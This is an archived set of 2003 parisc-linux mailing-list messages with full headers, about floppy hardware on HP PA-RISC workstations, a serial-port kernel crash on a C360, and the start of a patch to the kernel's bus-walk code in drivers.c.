I do know, the 712 has a wintel/pc-based floppy interface. Just hook any
standard (hence, no ibm ;-) 3.5, hd floppy device to the cable and off you
go. 


CBee 

------_=_NextPart_001_01C2C2E8.21248D40
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.45">
<TITLE>RE: [parisc-linux] floppy images</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Jochen Friedrich [<A =
HREF=3D"mailto:jochen@scram.de">mailto:jochen@scram.de</A>]</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Hi Grant,</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; and HP couldn't published anything for =
floppy controller because of</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; litigation at the time the parisc-linux =
work was being funded. :^(</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Don't 715 / 720 just have SCSI floppies?</FONT>
</P>

<P><FONT SIZE=3D2>If they have, they should be available for all other =
machines: the driver is in the os, the scsi is most (all) =
systems.</FONT>
</P>

<P><FONT SIZE=3D2>I do know, the 712 has a wintel/pc-based floppy =
interface. Just hook any standard (hence, no ibm ;-) 3.5, hd floppy =
device to the cable and off you go. </FONT></P>
<BR>

<P><FONT SIZE=3D2>CBee </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C2C2E8.21248D40--


From - Thu Nov 08 21:26:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Harri Haataja <harri.haataja@kolumbus.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] floppy images
Date: Thu, 23 Jan 2003 16:05:06 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <20030123160505.A35236@azrael.blades.cxm>
References: <20030121172820.GB26882@dsl2.external.hp.com> <Pine.NEB.4.44.0301231456210.18812-100000@www2.scram.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622139 20476 80.91.229.3 (22 Nov 2014 02:08:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 23 07:05:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from azrael.blades.cxm (ua3d35hel.dial.kolumbus.fi [62.248.233.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 755754829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Jan 2003 07:05:09 -0700 (MST)
Original-Received: (from blades@localhost)
	by azrael.blades.cxm (SGI-8.9.3/8.9.3) id QAA36491
	for parisc-linux@lists.parisc-linux.org; Thu, 23 Jan 2003 16:05:07 +0200 (EET)
X-Authentication-Warning: azrael.blades.cxm: blades set sender to harri.haataja@kolumbus.fi using -f
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.NEB.4.44.0301231456210.18812-100000@www2.scram.de>; from jochen@scram.de on Thu, Jan 23, 2003 at 02:56:54PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17472

On Thu, Jan 23, 2003 at 02:56:54PM +0100, Jochen Friedrich wrote:
> > and HP couldn't published anything for floppy controller because of
> > litigation at the time the parisc-linux work was being funded. :^(
> Don't 715 / 720 just have SCSI floppies?

That is certainly possible. I've heard that the odd connector towards
the back is a pretty regular floppy connector. Don't know where the
power comes from, though. Nor what configuration HP shipped.

-- 
Later I found myself pondering the words of Dubya, how people who "harbor
and feed" terrorists are to be treated as terrorists, and about the sucky
timing of nimda... and came to the logical conclusion that billg is to be
treated as a terrorist. 	-- seen on a.s.r


From - Thu Nov 08 21:26:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] floppy images
Date: Thu, 23 Jan 2003 09:23:21 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <03012309232100.00797@localhost.localdomain>
References: <20030121172820.GB26882@dsl2.external.hp.com> <Pine.NEB.4.44.0301231456210.18812-100000@www2.scram.de> <20030123160505.A35236@azrael.blades.cxm>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622139 20478 80.91.229.3 (22 Nov 2014 02:08:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Harri Haataja <harri.haataja@kolumbus.fi>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 23 08:28:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.goquest.com (ns1.goquest.com [12.18.108.6])
	by dsl2.external.hp.com (Postfix) with SMTP id 9C54E4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Jan 2003 08:28:58 -0700 (MST)
Original-Received: (qmail 14881 invoked by uid 0); 23 Jan 2003 15:28:52 -0000
Original-Received: from mszick@goquest.com by mail.goquest.com by uid 502 with qmail-scanner-1.12 (spamassassin: 2.31. . Clear:. Processed in 0.791993 secs); 23 Jan 2003 15:28:52 -0000
Original-Received: from unknown (HELO localhost.localdomain) (66.90.209.51)
  by mail.goquest.com with SMTP; 23 Jan 2003 15:28:51 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <20030123160505.A35236@azrael.blades.cxm>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17473

On Thursday 23 January 2003 08:05 am, Harri Haataja wrote:
> On Thu, Jan 23, 2003 at 02:56:54PM +0100, Jochen Friedrich wrote:
> > > and HP couldn't published anything for floppy controller because of
> > > litigation at the time the parisc-linux work was being funded. :^(
> >
> > Don't 715 / 720 just have SCSI floppies?
>
My 9000/720-50MHz box has factory SCSI floppy

>
> That is certainly possible. I've heard that the odd connector towards
> the back is a pretty regular floppy connector. Don't know where the
> power comes from, though. Nor what configuration HP shipped.

Must be through the I/O cable - no other cable on the device.

Mike


From - Thu Nov 08 21:26:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] floppy images
Date: Thu, 23 Jan 2003 10:27:18 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20030123172718.GB22325@dsl2.external.hp.com>
References: <20030121172820.GB26882@dsl2.external.hp.com> <Pine.NEB.4.44.0301231456210.18812-100000@www2.scram.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622139 20479 80.91.229.3 (22 Nov 2014 02:08:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jochen Friedrich <jochen@scram.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 23 10:27:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 0D1184829; Thu, 23 Jan 2003 10:27:18 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <Pine.NEB.4.44.0301231456210.18812-100000@www2.scram.de>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17474

On Thu, Jan 23, 2003 at 02:56:54PM +0100, Jochen Friedrich wrote:
> Hi Grant,
> 
> > and HP couldn't published anything for floppy controller because of
> > litigation at the time the parisc-linux work was being funded. :^(
> 
> Don't 715 / 720 just have SCSI floppies?

Only 715/old (33/50/75Mhz), not 715/new.
Any system with LASI or SuckyIO shipped with a PC floppy.
All the workstations with PCI, use PC floppy.

I don't know about 720 - glad someone else said it did.

grant


From - Thu Nov 08 21:26:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] floppy images
Date: Thu, 23 Jan 2003 20:11:50 +0100 (CET)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0301232009350.28006-100000@gfrw1044.bocc.de>
References: <20030123172718.GB22325@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622140 20481 80.91.229.3 (22 Nov 2014 02:09:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 23 12:12:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail2.scram.de (mail2.scram.de [195.226.127.112])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5C0204829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Jan 2003 12:12:11 -0700 (MST)
Original-Received: from gfrw1044.bocc.de (pD9E01645.dip.t-dialin.net [217.224.22.69])
	(authenticated bits=0)
	by mail2.scram.de (8.12.6/8.12.6/Debian-8) with ESMTP id h0NJBw34002684;
	Thu, 23 Jan 2003 20:12:01 +0100
X-X-Sender: jochen@gfrw1044.bocc.de
In-Reply-To: <20030123172718.GB22325@dsl2.external.hp.com>
X-Spam-Status: No, hits=-0.6 required=5.0
	tests=IN_REP_TO,SPAM_PHRASE_00_01,USER_AGENT_PINE
	version=2.43
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17475

Hi Grant,

> I don't know about 720 - glad someone else said it did.

model 9000/720
Total Memory: 32 Mb
[...]
SCSI subsystem driver Revision: 1.00
53c700: consistent memory allocation failed
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi0: 53c700 rev 0
scsi0 : LASI SCSI 53c700
  Vendor: TEAC      Model: FC-1     HF   07  Rev: RV A
  Type:   Direct-Access                      ANSI SCSI revision: 01 CCS
  Vendor: IBM       Model: DCAS-34330        Rev: S61A
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi removable disk sda at scsi0, channel 0, id 3, lun 0
Attached scsi disk sdb at scsi0, channel 0, id 6, lun 0

sda is the floppy, sdb the hard drive.

Thanks,
--jochen



From - Thu Nov 08 21:26:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "b.gunreben" <b.gunreben@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel update bug?
Date: Thu, 23 Jan 2003 22:19:00 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <3E305C44.11F38160@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622140 20484 80.91.229.3 (22 Nov 2014 02:09:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 23 14:19:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.web.de (smtp01.web.de [217.72.192.180])
	by dsl2.external.hp.com (Postfix) with ESMTP id A9E5F482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Jan 2003 14:19:06 -0700 (MST)
Original-Received: from c-180-204-126.n.dial.de.ignite.net ([62.180.204.126] helo=web.de)
	by smtp.web.de with asmtp (WEB.DE(Exim) 4.93 #1)
	id 18bokb-0007UC-00
	for parisc-linux@lists.parisc-linux.org; Thu, 23 Jan 2003 22:19:05 +0100
X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17476

Hi,

I recently got a C360 to play around with it. After installing an old beta
of woody (thats the distribution, I got on my private net), everything seemd
fine. The kernel --
Linux version 2.4.9-32 (root@paer) (gcc version 3.0.2 (Debian)) #1 Fri Nov
30 19:36:30 MST 2001 -- worked just fine. 

After this, I installed a newer kernel (well, I just copied the kernel, and
omitted the modules):  -- 
Linux version 2.4.20-pa18 (bame@dsl2) (gcc version 3.0.3) #1 Fri Dec 27
06:12:20 MST 2002 --
and with this kernel, the machine crashes reproduceable when starting up. 

Now the reason: I found, that with kernel 2.4.9, there were 3 serial devices
found

/dev/ttyS0 uart 16550A port 0x0000 irq 90 baud_base 454545 spd_normal
/dev/ttyS1 uart 16550A port 0x0000 irq 106 baud_base 454545 spd_normal
/dev/ttyS2 uart 16550A port 0x0000 irq 170 baud_base 454545 spd_normal

the later kernel finds only the first two of these interfaces, and restarts
when restoring the settings of /dev/ttyS2. Later it crashes completely of
course. I could fix this behaviour by commenting out the last line in
/etc/serial.conf.

Now my question: should kernel 2.4.20 find two or three serial devices on a
C360, and why does the kernel crash if setserial tries to configure a
(nonexistant?) device?


Berthold


From - Thu Nov 08 21:26:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel update bug?
Date: Fri, 24 Jan 2003 00:52:57 +0000
Lines: 28
Approved: news@gmane.org
Message-ID: <20030124005257.A26567@parcelfarce.linux.theplanet.co.uk>
References: <3E305C44.11F38160@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622140 20488 80.91.229.3 (22 Nov 2014 02:09:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "b.gunreben" <b.gunreben@web.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 23 17:52:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 450214829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Jan 2003 17:52:59 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18bs5Z-0006wa-00; Fri, 24 Jan 2003 00:52:57 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3E305C44.11F38160@web.de>; from b.gunreben@web.de on Thu, Jan 23, 2003 at 10:19:00PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17477

On Thu, Jan 23, 2003 at 10:19:00PM +0100, b.gunreben wrote:
> Now the reason: I found, that with kernel 2.4.9, there were 3 serial devices
> found
> 
> /dev/ttyS0 uart 16550A port 0x0000 irq 90 baud_base 454545 spd_normal
> /dev/ttyS1 uart 16550A port 0x0000 irq 106 baud_base 454545 spd_normal
> /dev/ttyS2 uart 16550A port 0x0000 irq 170 baud_base 454545 spd_normal
> 
> the later kernel finds only the first two of these interfaces, and restarts
> when restoring the settings of /dev/ttyS2. Later it crashes completely of
> course. I could fix this behaviour by commenting out the last line in
> /etc/serial.conf.
> 
> Now my question: should kernel 2.4.20 find two or three serial devices on a
> C360, and why does the kernel crash if setserial tries to configure a
> (nonexistant?) device?

Well, how many serial ports do you have?  ;-)

It was a bug up till (i think) a 2.4.17 kernel that we found a ghost
serial port.  And setserial is a broken piece of crap that will crash
the machine if it tries to set serial ports that don't exist.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] long booting kernels...
Date: 23 Jan 2003 22:08:08 -0700
Lines: 160
Approved: news@gmane.org
Message-ID: <1043383738.594.8.camel@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=-0MeGBE4XA6qyeKAx+l2s"
X-Trace: ger.gmane.org 1416622141 20492 80.91.229.3 (22 Nov 2014 02:09:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 23 22:08:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4DCF34829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Jan 2003 22:08:10 -0700 (MST)
Original-Received: from beavis.ybsoft.com (ns1.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP id C81862B10D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Jan 2003 22:08:08 -0700 (MST)
X-Mailer: Ximian Evolution 1.2.1 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17478

--=-0MeGBE4XA6qyeKAx+l2s
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

Hello,

I finally found some time to test the updated bus walk code on a
parisc-2.4.20-pa22 system.  It works fine for me, but the C200 does not
exhibit the problems seen by others on this list.  I would appreciate if
someone with this problem could test this patch and see if it speeds the
boot time up.

This is the same patch I applied to the 2.5 tree several months ago.

Thanks,

- Ryan


--=-0MeGBE4XA6qyeKAx+l2s
Content-Disposition: attachment; filename=drivers.diff
Content-Type: text/x-patch; name=drivers.diff; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit

Index: arch/parisc/kernel/drivers.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/drivers.c,v
retrieving revision 1.48
diff -u -p -r1.48 drivers.c
--- arch/parisc/kernel/drivers.c	11 Sep 2002 05:47:43 -0000	1.48
+++ arch/parisc/kernel/drivers.c	21 Nov 2002 05:10:51 -0000
@@ -9,6 +9,7 @@
  * Copyright (c) 1999 The Puffin Group
  * Copyright (c) 2001 Matthew Wilcox for Hewlett Packard
  * Copyright (c) 2001 Helge Deller <deller@gmx.de>
+ * Copyright (c) 2001,2002 Ryan Bradetich 
  * 
  * The file handles registering devices and drivers, then matching them.
  * It's the closest we get to a dating agency.
@@ -23,7 +24,6 @@
 #include <asm/hardware.h>
 #include <asm/io.h>
 #include <asm/pdc.h>
-#include <asm/gsc.h>
 
 /* See comments in include/asm-parisc/pci.h */
 struct pci_dma_ops *hppa_dma_ops;
@@ -416,6 +416,7 @@ alloc_pa_dev(unsigned long hpa, struct h
 	dev->id.sversion = ((iodc_data[4] & 0x0f) << 16) |
 			(iodc_data[5] << 8) | iodc_data[6];
 	dev->hpa = hpa;
+
 	name = parisc_hardware_description(&dev->id);
 	if (name) {
 		strncpy(dev->name, name, sizeof(dev->name)-1);
@@ -461,30 +462,25 @@ int register_parisc_device(struct parisc
 #define BC_PORT_MASK 0x8
 #define BC_LOWER_PORT 0x8
 
+#define IO_STATUS 	offsetof(struct bc_module, io_status)
 
 #define BUS_CONVERTER(dev) \
         ((dev->id.hw_type == HPHW_IOA) || (dev->id.hw_type == HPHW_BCPORT))
 
 #define IS_LOWER_PORT(dev) \
-        ((gsc_readl(&((struct bc_module *)dev->hpa)->io_status) \
-                & BC_PORT_MASK) == BC_LOWER_PORT)
-
-#define READ_IO_IO_LOW(dev) \
-	(dev->id.hw_type == HPHW_IOA ? \
-	        __raw_readl((unsigned long)&((struct bc_module *)dev->hpa)->io_io_low) << 16 : \
-	        __raw_readl((unsigned long)&((struct bc_module *)dev->hpa)->io_io_low))
-
-#define READ_IO_IO_HIGH(dev) \
-	(dev->id.hw_type == HPHW_IOA ? \
-	        __raw_readl((unsigned long)&((struct bc_module *)dev->hpa)->io_io_high) << 16 : \
-	        __raw_readl((unsigned long)&((struct bc_module *)dev->hpa)->io_io_high))
+        ((__raw_readl(dev->hpa + IO_STATUS) & BC_PORT_MASK) == BC_LOWER_PORT)
 
+#define MAX_NATIVE_DEVICES 64
+#define NATIVE_DEVICE_OFFSET 0x1000
 
-static void walk_native_bus(unsigned long io_io_low, unsigned long io_io_high, 
-			    struct parisc_device *parent);
-
-#define FLEX_MASK (unsigned long)0xfffffffffffc0000
+#define FLEX_MASK 	(unsigned long)0xfffffffffffc0000
+#define IO_IO_LOW	offsetof(struct bc_module, io_io_low)
+#define IO_IO_HIGH	offsetof(struct bc_module, io_io_high)
+#define READ_IO_IO_LOW(dev)  (unsigned long)(signed int)__raw_readl(dev->hpa + IO_IO_LOW)
+#define READ_IO_IO_HIGH(dev) (unsigned long)(signed int)__raw_readl(dev->hpa + IO_IO_HIGH)
 
+static void walk_native_bus(unsigned long io_io_low, unsigned long io_io_high,
+                            struct parisc_device *parent);
 
 void walk_lower_bus(struct parisc_device *dev)
 {
@@ -493,15 +489,17 @@ void walk_lower_bus(struct parisc_device
 	if(!BUS_CONVERTER(dev) || IS_LOWER_PORT(dev))
 		return;
 
-	io_io_low = ((unsigned long)(signed int)READ_IO_IO_LOW(dev) + ~FLEX_MASK) & FLEX_MASK;
-	io_io_high = ((unsigned long)(signed int)READ_IO_IO_HIGH(dev) + ~FLEX_MASK) & FLEX_MASK;
+	if(dev->id.hw_type == HPHW_IOA) {
+		io_io_low = (unsigned long)(signed int)(READ_IO_IO_LOW(dev) << 16);
+		io_io_high = io_io_low + MAX_NATIVE_DEVICES * NATIVE_DEVICE_OFFSET;
+	} else {
+		io_io_low = (READ_IO_IO_LOW(dev) + ~FLEX_MASK) & FLEX_MASK;
+		io_io_high = (READ_IO_IO_HIGH(dev)+ ~FLEX_MASK) & FLEX_MASK;
+	}
 
 	walk_native_bus(io_io_low, io_io_high, dev);
 }
 
-#define MAX_NATIVE_DEVICES 64
-#define NATIVE_DEVICE_OFFSET 0x1000
-
 /**
  * walk_native_bus -- Probe a bus for devices
  * @io_io_low: Base address of this bus.
@@ -515,7 +513,7 @@ void walk_lower_bus(struct parisc_device
  * keyboard ports).  This problem is not yet solved.
  */
